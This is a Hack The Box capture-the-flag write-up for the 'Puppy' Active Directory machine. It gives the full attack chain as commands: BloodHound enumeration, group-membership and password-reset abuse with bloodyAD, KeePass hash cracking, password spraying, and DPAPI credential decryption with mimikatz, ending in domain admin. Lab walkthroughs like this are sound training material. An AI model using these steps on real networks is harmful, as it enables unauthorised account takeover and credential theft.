HTB - Puppy

Description
This machine simulates an assumed breach scenario where initial access is already obtained. Using BloodHound, the player identifies a user with GenericWrite rights on a privileged group, enabling group membership manipulation. This escalation grants access to an SMB share containing a KeePass database secured with strong encryption, requiring the latest cracking tools. Further enumeration via BloodHound reveals a user with GenericAll rights over another account, allowing password changes. Leveraging this access leads to decrypted DPAPI credentials from a user folder, ultimately resulting in administrative access on the Domain Controller.
Enumeration
As is common in real life pentests, you will start the Puppy box with credentials for the following account:
levi.james/KingofAkron2025!
I will start with normal Nmap
Scan, but first export the machine IP to a variable for easy usage.
export target=10.10.11.70 ;mkdir Nmap
Nmap Scan
nmap -p- --min-rate 10000 $target -Pn -oN Nmap/allports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
2049/tcp open nfs
3260/tcp open iscsi
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49667/tcp open unknown
49669/tcp open unknown
49674/tcp open unknown
49689/tcp open unknown
64119/tcp open unknown
Then, put all open ports into ports
variable and run Nmap
script and version scan
export ports="$(cat Nmap/allports | grep '^[0-9]' | cut -d/ -f1 | tr "\n" "," | sed 's/,$//g')"
nmap -p"$ports" $target -Pn -sC -sV -oN Nmap/script-scan
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
111/tcp open rpcbind 2-4 (RPC #100000)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
2049/tcp open nlockmgr 1-4 (RPC #100021)
3260/tcp open iscsi?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
Summary
* Open ports: 53,88,111,135,139,389,445,464,593,2049,3260,3268,3269,5985,9389
* Services: DNS, KERBEROS, LDAP, SMB, RPC, winRM, NFS
* Important notes: Domain:PUPPY.HTB
I started with enumerating smb looking for accessible shares, and I found DEV
share but no access to it.

Before I moved further, I updated /etc/hosts
with domain information to avoid any tooling issues
echo "$target dc dc.puppy.htb puppy.htb" | sudo tee -a /etc/hosts
10.10.11.70 dc dc.puppy.htb puppy.htb
I used bloodhound.py
to dump LDAP domain data, then ingested it into bloodhound-GUI
to begin domain enumeration.
export user=levi.james; export password=KingofAkron2025!; export domain=puppy.htb
bloodhound-python -u $user -p $password -ns $target -d $domain -c all --dns-timeout 120 --zip

From Bloodhound
, I found levi.James
member in HR
group and has GenericWrite
on Developers
group, which means I can add members
to Developers
group

Add levi
to Developers
group
bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" add groupMember "Developers" "levi.james"
[+] levi.james added to Developers
With a membership in developers
group, I looked at smb
shares again and found READ
access to DEV
share

I accessed the share using smbclient.py
from impacket
toolkit and found .kdbx
password database

After downloading it, I extracted the hash to try cracking it using keepass2john
and john
but I got this error:
keepass2john recovery.kdbx > keepass.hash
! recovery.kdbx : File version '40000' is currently not supported!
The old version of john
can't deal with the new hash version of keepass
, but the latest version can. First, I downloaded the tool using the following commands:
git clone https://github.com/openwall/john -b bleeding-jumbo john-jumbo && cd john-jumbo/src
sudo apt-get install build-essential libssl-dev zlib1g-dev yasm libgomp1
./configure && make -s clean && make -sj$(nproc)
Then, I started keepass2john
and john
from inside the repo folder and managed to crack the hash
./run/keepass2john recovery.kdbx > keepass.hash
.run/john keepass.hash --wordlist=/usr/share/wordlists/rockyou.txt
..snip..
livxxxxx (recovery)
After opening the database, I found several usernames with passwords for each one
keepassxc recovery.kdbx

Extracted the passwords to a file and started to spray them for each user in the domain. First, I got usernames list from nxc

nxc ldap $target -u users.list -p passwords.list --continue-on-success
With the users & passwords list, I could spray the passwords, and I found valid domain credentials

Foothold
From bloodhound-gui
, I found ant.edwards
member in Senior devs
group and has GenericAll
on adam.silver
which means I can Change Password
for adam.sliver

Take control of the user adam.silver
export user=ant.edwards; export password='REDACTED'
bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" set password adam.silver 'P@ssw0rd123!!!'
[+] Password changed successfully!
With adam
account, I can access the machine via winRM

There is a problem with the accountdisabled
So I had to enable it before I could use it

Enable the account by modifying the UserAccountControl
with 512
value (Enabled value)
Check Account Disable
bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" get object adam.silver --attr useraccountcontrol
distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT
Enable the account
bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" set object adam.silver useraccountcontrol -v 512
[+] adam.silver's userAccountControl has been updated
Confirm it's enabled
bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" get object adam.silver --attr useraccountcontrol
distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: NORMAL_ACCOUNT
Access the box
evil-winrm -i dc -u adam.silver -p 'P@ssw0rd123!!!'

*Evil-WinRM* PS C:\Users\adam.silver> type Desktop\user.txt
User Flag: 4b47de5ca3f585dxxxxxxxxxxxxxxxx
Lateral Movement
Under C:\
, there is Backups
folder

I then downloaded the file to examine it on my Kali machine

After unzipping the file, I found .bak
a file containing the domain credentials for the user steph.cooper
ls
assets images index.html nms-auth-config.xml.bak
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>REDACTED</bind-password>
</server>
He is a member of Remote Management Users
, So I can access the box with him.

Privilege Escalation
evil-winrm -i dc -u steph.cooper -p 'REDACTED'
Inside steph.cooper
folder, where there are stored but encrypted credentials (DPAPI) and the

With mimikatz.exe
, I managed to extract the masterkey and then decrypt the DPAPI secrets with it.
.\mimikatz.exe 'dpapi::masterkey /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 /password:ChefSteph2025! /protected' exit
..snip..
Auto SID from path seems to be: S-1-5-21-1487982659-1829050783-2281216199-1107
[masterkey] with password: ChefSteph2025! (protected user)
key : d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990..snip..
sha1: 3c3cf2061dd9d45000e9e6b49e37c7016e98e701
.\mimikatz.exe 'dpapi::cred /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 /masterkey:d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84' exit
..snip..
UserName : steph.cooper_adm
CredentialBlob : REDACTED
Alternatively, Download credential file and masterkey locally and dump them with
dpapi.py
fromimpacket
The found credential is for step.cooper_adm
which is Admin
on the domain controller

Get Root flag
nxc smb dc -u steph.cooper_adm -p 'REDACTED'' -x 'type C:\Users\Administrator\Desktop\root.txt'

Root Flag: e2353f53912199xxxxxxxxxxxxxxxxxxx
Last updated